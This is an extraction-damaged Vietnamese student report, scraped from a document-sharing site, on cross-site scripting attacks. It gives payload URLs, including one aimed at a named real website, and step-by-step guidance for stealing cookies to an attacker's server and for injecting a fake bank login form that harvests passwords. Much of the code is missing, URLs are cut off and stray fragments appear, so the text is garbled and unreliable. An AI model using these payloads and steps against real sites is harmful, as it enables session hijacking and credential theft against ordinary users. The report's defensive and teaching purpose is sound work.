Đăng ký Đăng nhập

Tài liệu Kỹ thuật tấn công xss.

.PDF
28
151
65

Mô tả:

HỌC VIỆN CÔNG NGHỆ BƢU CHÍNH VIỄN THÔNG CƠ SỞ TP.HCM AN NINH MẠNG BÁO CÁO ĐỀ TÀI MÔN HỌC AN NINH MẠNG KỸ THUẬT TẤN CÔNG XSS Giảng viên hướng dẫn : ThS. LÊ PHÚC Sinh viên thực hiện : TRẦN ĐÌNH NGỌC MãSV: 407170045 Lớp : D07THM1 1 AN NINH MẠNG 2 Mục lục I. GIỚI THIỆU CHUNG ................................................................................................. 4 II. GIỚI THIỆU VỀ XSS ................................................................................................. 5 1. Tìm hiểu XSS ........................................................................................................... 5 2. Hai hình thức tồn tại của XSS .................................................................................. 5 2.1. Stored XSS ......................................................................................................... 5 2.2. Reflected XSS .................................................................................................... 6 3. Mức độ nguy hiểm của XSS..................................................................................... 7 4. Mục tiêu mà XSS hƣớng tới. .................................................................................... 8 III.HOẠT ĐỘNG CỦA XSS ........................................................................................... 9 IV.CẢNH GIÁC VỚI XSS ............................................................................................ 12 V. KIỂM TRA LỖI XSS ............................................................................................... 14 1. Sử dụng Tool .......................................................................................................... 14 2. Thử bằng Code ....................................................................................................... 14 VI. KHAI THÁC LỖI XSS ........................................................................................... 16 1.Tóm tắt các bƣớc thực hiện ..................................................................................... 17 2. Các cách thực hiện.................................................................................................. 18 2.1. Nghiên cứu cách lấy cookies: .......................................................................... 18 2.2.Nghiên cứu cách lấy account. ........................................................................... 18 2.3. Tấn Công XSS Bằng Flash .............................................................................. 19 3. Attacker dùng XSS để lừa đảo ............................................................................... 22 4. Cách vƣợt qua cơ chế lọc ký tự .............................................................................. 22 AN NINH MẠNG 3 VII. PHÒNG CHỐNG XSS........................................................................................... 23 1. Với những dữ liệu ngƣời thiết kế và phát triển ứng dụng Web ........................... 23 2. Đối với ngƣời dùng. ............................................................................................. 26 VIII. PHẠM VI VÀ TÍNH KHẢ THI CỦA PHƢƠNG PHÁP TẤN CÔNG BẰNG XSS ........................................................................................................................................ 27 IX. ĐÁNH GIÁ .............................................................................................................. 27 TÀI LIỆU THAM KHẢO: ............................................................................................ 28 AN NINH MẠNG 4 I. GIỚI THIỆU CHUNG Website ngày nay rất phức tạp và thƣờng là các web động, nội dung của web đƣợc cập nhật thông qua các thành viên tham gia ở khắp mọi nơi trên thế giới. Và hầu hết các website này dùng Cookie để xác thực ngƣời dùng. Điều này đồng nghĩa với việc Cookie của ai thì ngƣời đó dùng, Nếu lấy đƣợc Cookie ngƣời dùng nào Hacker sẽ giả mạo đƣợc chính ngƣời dùng đó(điều này là hết sức nguy hiểm). Vậy làm sao để các hacker có thể lấy cookie của bạn? Có rất nhiều cách để các hacker làm việc đó, ở đây tôi xin trình bày một trong những cách mà hacker thƣờng dùng, đó chính là họ nhờ vào lỗi Cross Site Scripting(XSS). Cross-Site Scripting (XSS) là một trong những kĩ thuật tấn công phổ biến nhất hiện nay, đồng thời nó cũng là một trong những vấn đề bảo mật quan trọng đối với các nhà phát triển web và cả những ngƣời sử dụng web. Bất kì một website nào cho phép ngƣời sử dụng đăng thông tin mà không có sự kiểm tra chặt chẽ các đoạn mã nguy hiểm thì đều có thể tiềm ẩn các lỗi XSS. XSS đƣợc thực hiện trên các thẻ JavaScript, và các thẻ JavaScript chúng có thể làm đƣợc những công việc sau: 1. Thay đổi cấu trúc của toàn bộ trang web. 2. Tạo tùy ý các phần tử HTML. 3. Định tuyến lại các hình thức liên kết 4. Phục hồi dữ liệu, xác thực 5. Gửi và nhận dữ liệu 6. Đọc các tổ hợp phím. AN NINH MẠNG 5 II. GIỚI THIỆU VỀ XSS 1. Tìm hiểu XSS Cross-Site Scripting hay còn đƣợc gọi tắt là XSS (thay vì gọi tắt là CSS để tránh nhầm lẫn với CSS-Cascading Style Sheet của HTML) là một kĩ thuật tấn công bằng cách chèn vào các website động (ASP, PHP, CGI, JSP ...) những thẻ HTML hay những đoạn mã script nguy hiểm có khả năng đánh cắp hay thiết lập đƣợc những thông tin quan trọng nhƣ cookies, mật khẩu, usename…. Trong đó, những đoạn mã nguy hiểm đựơc chèn vào hầu hết đƣợc viết bằng các Client-Site Script nhƣ JavaScript, JScript, DHTML và cũng có thể là cả các thẻ HTML. Phƣơng pháp này không nhằm vào máy chủ hệ thống mà chủ yếu tấn công trên chính máy ngƣời sử dụng. Hacker sẽ lợi dụng sự kiểm tra lỏng lẻo từ ứng dụng và hiểu biết hạn chế của ngƣời dùng cũng nhƣ biết đánh vào sự tò mò của họ dẫn đến ngƣời dùng bị mất thông tin một cách dễ dàng. Thông thƣờng hacker lợi dụng địa chỉ URL để đƣa ra những liên kết là tác nhân kích hoạt những đoạn chƣơng trình đƣợc viết bằng ngôn ngữ máy khách nhƣ VBScript, JavaScript…đƣợc thực thi trên chính trình duyệt của nạn nhân 2. Hai hình thức tồn tại của XSS 2.1. Stored XSS Stored XSS là hình thức tấn công mà ở đó cho phép kẻ tấn công có thể chèn một đoạn script nguy hiểm (thƣờng là Javascript) vào website của chúng ta thông qua một chức năng nào đó (vd: viết lời bình, guestbook, gởi bài..), để từ đó khi các thành viên khác truy cập website sẽ bị dính mã độc từ kẻ tấn công này, các mã độc này thƣờng đƣợc lƣu lại trong database của website chúng ta nên gọi là Stored. Stored XSS phát sinh do chúng ta không lọc dữ liệu do thành viên gởi lên một cách đúng đắn, khiến cho mã độc đƣợc lƣu vào Database của website. AN NINH MẠNG 6 2.2. Reflected XSS Trong hình thức này, kẻ tấn công thƣờng gắn thêm đoạn mã độc vào URL của website chúng ta và gởi đến nạn nhân, nếu nạn nhân truy cập URL đó thì sẽ bị dính mã độc. Điều này xảy ra do ta không chú ý filter input từ URL của website mình. AN NINH MẠNG 7 Tấn công XSS là tấn công nguy hiểm, cho phép kẻ tấn công ăn cắp thông tin trên máy nạn nhân thông qua javascript nhƣ ăn cắp cookie, chèn mã độc để chiến quyền điều khiển… XSS là một trong những lỗi phổ biến, có rất nhiều trang web bị mắc phải lỗi này, chính vì thế ngày càng có nhiều ngƣời quan tâm đến lỗi này. Gần đây, theo Brian Krebs của tờ Washington Post báo cáo rằng hàng ngàn trang web không an toàn đã đƣợc xác định vào năm ngoái, và trang Xssed.com đưa ra danh sách gần 13.000 trang trong đó có nhiều lỗ hổng cross-site scripting (XSS). Ví dụ 1: Một đoạn url mà hacker chèn Script vào để lấy cookie của ngƣời dùng. http://www.oracle.co.jp/mts_sem_owa/MTS_SEM/im_search_exe?search_te xt=%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E 3. Mức độ nguy hiểm của XSS Theo thống kê về các lỗ hổng bảo mật thƣờng bị tấn công nhất vào năm 2009 AN NINH MẠNG 8 Cross-Site Scripting (XSS) chiếm một tỉ lệ rất cao so với các phƣơng pháp tấn công khác. Kĩ thuật XSS đƣợc mô tả lần đầu tiên cách đây 5 năm (từ năm 2007 đến 2011) và hầu hết các khả năng tiềm ẩn của kĩ thuật này đã đƣợc biết đến. Tuy nhiên chúng ta mới chỉ khắc phục đƣợc một phần của nó. Không phải vô tình mà Yahoo Mail lại để sót một lỗi XSS trong bộ lọc của mình. Một phƣơng pháp tối ƣu vẫn còn đang ở phía trƣớc. 4. Mục tiêu mà XSS hướng tới. XSS khai thác thƣờng đƣợc sử dụng để đạt đƣợc các kết quả độc hại sau đây: * Truy cập thông tin nhạy cảm hoặc bị hạn chế * Ăn cắp tiền (giao dịch ngân hàng, mua hàng online….) * Theo dõi thói quen lƣớt web của ngƣời dùng * Thay đổi năng của trình duyệt * Bôi nhọ danh tiếng của một cá nhân hay công ty * Hủy hoại ứng dụng Web. * Tấn công từ chối dịch vụ ... AN NINH MẠNG 9 III.HOẠT ĐỘNG CỦA XSS XSS cho phép attacker chèn các đoạn mã vào link của đƣờng dẫn, để thực hiện trên trình duyệt của ngƣời dùng, dẫn đến việc mất cookies, mật khẩu, session hay chèn virus… Thƣờng thì XSS có dạng nhƣ sau: http://www.xxx.vn//index.php?pg=news&cat=. Và nội dung xuất hiện trên trình duyệt là một cái popup có thông tin là „Lỗi XSS‟. Ở trên ví dụ 1 trên chỉ minh họa một cách đơn giản là thêm đoạn mã của mình vào trang Web thông qua URL. Nhƣng thực sự thì có rất nhiều cách để thêm đoạn mã JavaScript với mục đích tấn công kiểu XSS. Hacker có thể dễ dàng lợi dụng Document Object Model (DOM) để thay đổi ngữ cảnh và nội dụng Web ứng dụng. Ví dụ 2: Sau đây là danh sách nơi có thể chèn đoạn mã:
& &{[code]}; --====_ABC0987654321DEF_====---====_ABC1234567890DEF_==== AN NINH MẠNG 13 Content-Type: audio/x-wav; name="filename.ext.ext" Content-Transfer-Encoding: base64 Content-ID: Đôi khi đang đọc thƣ bạn bị chuyển sang một website khác, bạn có nghĩ rằng bạn có thể mất mật khẩu. Trƣớc đây, hàng loạt các hộp thƣ của Yahoo bị mất mật khẩu hay bị đọc trộm thƣ mà không rõ nguyên nhân. Có lẽ khi đó các bạn mở các bức thƣ mà không hề cảnh giác với XSS, đâu phải chỉ các file đính kèm mới có thể gây nguy hiểm cho bạn. Chỉ cần với một đoạn mã HTML gửi trong thƣ bạn đã hoàn toàn bị mất cookie của mình:
Vậy là khi bạn nhận thƣ, và nếu bạn vô tình đƣa con chuột qua bức ảnh gửi kèm thì cũng có nghĩa là bạn đã bị lấy mất cookie. Và với cookie lấy đƣợc, các hacker có thể dễ dàng login hòm thƣ của bạn mà không cần biết mật khẩu của bạn. Thực sự tôi cũng rất bất ngờ khi tìm thấy rằng Yahoo khi đó đã ngăn đƣợc hầu hết các mối đe doạ từ các thẻ HTML lại bỏ qua thẻ IMG. Tuy nhiên cho tới ngày 12/7/2003 Yahoo đã kịp thời vá lỗ hồng nghiêm trọng này, nhƣng không phải vì vậy mà bạn mất cảnh giác với những "lỗi" của website. Nếu nhƣ bạn gặp một liên kết có dạng: http://example.com/s...document.cookie) Chắc chắn bạn sẽ phải xem xét kĩ trƣớc khi click vào. Có thể là sẽ tắt JavaScript cho trình duyệt của bạn trƣớc khi click vào hay ít nhất cũng có một chút cảnh giác. Nhƣng nếu bạn gặp một liên kết nhƣ thế này thì sao: http://example.com/s...72%79%3D  &{alert('CSS Vulnerable') };  Ví dụ 4: Thông báo cho biết chắc chắn web đã bị lỗi XSS. AN NINH MẠNG 16 Nhƣng xin chú ý , thỉnh thoảng vẫn có trƣờng hợp website đó bị dính XSS nhƣng vẫn không xuất hiện cái popup thì buộc lòng bạn phải VIEW SOURCES (mổ bụng) nó ra để xem . Khi view sources nhớ kiếm dòng này < script>alert('XSS)< /script> , nếu có thì chắc chắn là website đó lỗi XSS 100%. Gọi http://websitebiloi.com/ là site bị dính lỗi XSS và ta tìm đƣợc nơi bị lỗi nhƣ thế này : http://websitebiloi.com/index.php?page= nghĩa là ta có thể chèn code ngay trên thanh ADDRESS. Bước 5: Lên kế hoạch kịch bản tấn công VI. KHAI THÁC LỖI XSS Khác với các lỗi khác là gây hại trực tiếp lên hệ thống chứa web site, còn XSS lại không gây hại đến hệ thống của sever mà đối tƣợng tấn công chủ yếu của XSS lại là ngƣời dùng! Ứng dụng Web thƣờng lƣu trữ thông tin quan trọng ở cookie. Cookie là mẩu thông tin mà ứng dụng lƣu trên đĩa cứng của ngƣời sử dụng. Nhƣng chỉ ứng dụng thiết lập ra cookie thì mới có thể đọc nó. Do đó chỉ khi ngƣời dùng đang trong phiên làm việc của ứng dụng thì hacker mới có cơ hội đánh cắp cookie. Công việc đầu tiên của hacker là tìm trang đích để dụ ngƣời dùng đăng nhập sau khi đã tìm ra lỗ hổng trên ứng dụng đó. Sau đây là các bƣớc khai thác XSS theo truyền thống: AN NINH MẠNG 17 1.Tóm tắt các bước thực hiện Bước 1: Hacker biết đƣợc ngƣời dùng đang sử dụng một ứng dụng Web có lỗ hỏng XSS. Bước 2: Ngƣời dùng nhận đƣợc 1 liên kết thông qua email hay trên chính trang Web (nhƣ trên guestbook, banner dễ dàng thêm 1 liên kết do chính hacker tạo ra…). Thông thƣờng hacker khiến ngƣời dùng chú ý bằng những câu kích thích sự tò mò của ngƣời dùng nhƣ “ Kiểm tra tài khoản”, “Một phần thƣởng hấp dẫn đang chờ bạn”… Bước 3: Chuyển nội dung thông tin (cookie, tên, mật khẩu…) về máy chủ của hacker. Bước 4: Hacker tạo một chƣơng trình cgi (ở ví dụ 3 này là steal.cgi) hoặc một trang Web để ghi nhận những thông tin đã đánh cắp vào 1 tập tin Bước 5: Sau khi nhận đƣợc thông tin cần thiết, hacker có thể sử dụng để thâm nhập vào tài khoản của ngƣời dùng. AN NINH MẠNG 18 2. Các cách thực hiện Để hiểu rõ hơn về các tấn công XSS chúng ta xem xét ví dụ thực tế sau: 2.1. Nghiên cứu cách lấy cookies: Thứ nhất: Bạn hãy tạo một file info.txt và upload lên host của bạn. Thứ hai: Tạo file cookie.asp hoặc cookie.php có nội dung sau và upload file này lên host của bạn nhƣ sau: Thứ ba: Trên những phần trả lời hay góp ý trên diễn đàn hoặc email hoặc website (bị lỗi XSS) chúng ta để một link có lời giới thiệu hay thông báo gây chú ý (có hostname là của trang web bị nhiễm XSS) dạng nhƣ sau : http:// hostxss.com /search.cgi?query= hoặc http:// hostxss.com /search.cgi?%71%75...72%69%70%74%3E (đã đƣợc mã hóa) 2.2.Nghiên cứu cách lấy account. Thứ nhất: Bạn hãy tạo một file info.txt và upload lên host của bạn. Thứ hai: Tạo thêm một file xss.js và cũng upload file này lên host của bạn: File này là để tạo ra một facesite (trang web giả giống trang web thật) để khi ngƣời dùng nhập username và password thì chúng ta sẽ điều hƣớng và lƣu thông tin trên file info.txt. AN NINH MẠNG 19 document.body.innerHTML=„ VieclamBank


Thông tin đăng nhập
Tên đăng nhập:
Mật khẩu:
' Thứ ba: Chúng ta để một link có lời giới thiệu hay thông báo gây chú ý (có hostname là của trang web bị nhiễm XSS) . Khi đó tạo một link dạng nhƣ sau và gửi mail hay up link lên trang web có nhiễm XSS: (sau hostname ta thêm thẻ Script vào) http:// hostxss.com /search.php?s=">

Thư viện tài liệu trực tuyến
Hỗ trợ
hotro_xemtailieu
Mạng xã hội
Copyright © 2023 Xemtailieu - Website đang trong thời gian thử nghiệm, chờ xin giấy phép của Bộ TT & TT
thư viện tài liệu trực tuyến, nơi chia sẽ trao đổi tài liệu như luận văn đồ án, giáo trình, đề thi, .v.v...Kho tri thức trực tuyến.
Xemtailieu luôn tôn trọng quyền tác giả và thực hiện nghiêm túc gỡ bỏ các tài liệu vi phạm.